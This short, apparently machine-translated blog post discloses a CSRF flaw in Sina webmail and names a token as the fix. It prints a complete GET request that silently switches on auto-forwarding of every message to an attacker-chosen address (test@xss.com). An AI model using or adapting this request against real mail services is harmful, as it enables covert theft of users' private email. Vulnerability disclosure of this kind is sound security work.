A funny CSRF on Sina, which can steal users' emails

In the past few days, SINA/SOHU/163 has been connected to CSRF .. CSRF is not valued in China. Why is it funny? Because the form of the link is protected by CSRF, it is actually... You can modify the mailbox settings and use the GET method. Therefore, the attacker can directly send an email to the recipient, and the recipient will immediately win the bid as soon as he sees the email. In my demo, all user emails are forwarded to a specified email address... Of course, you can do other settings. So, this is quite high-risk... Then, what are your TOKEN... and the ones on the head... http://m1.mail.sina.com.cn/wa.php? A = update_setting & ListNum = 20 & forword_mode = 3 & signtext = % 3 CDIV % 3E % 26 nbsp % 3B % 3CBR % 3E % 3C % 2 FDIV % 3E & AddAddr = 1 & addOut = 1 & ReplyInc = 0 & ReSubLang = CHE & autore = 0 & autofo = 1 & forwordemail = test@xss.com & ShowMailSize = 0 & normalSign = 0 & vcardSign = 0 & weiboSign = 0 & autoreic = 0 & Weibo = 0 & autoretext = & token = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
 Solution:Token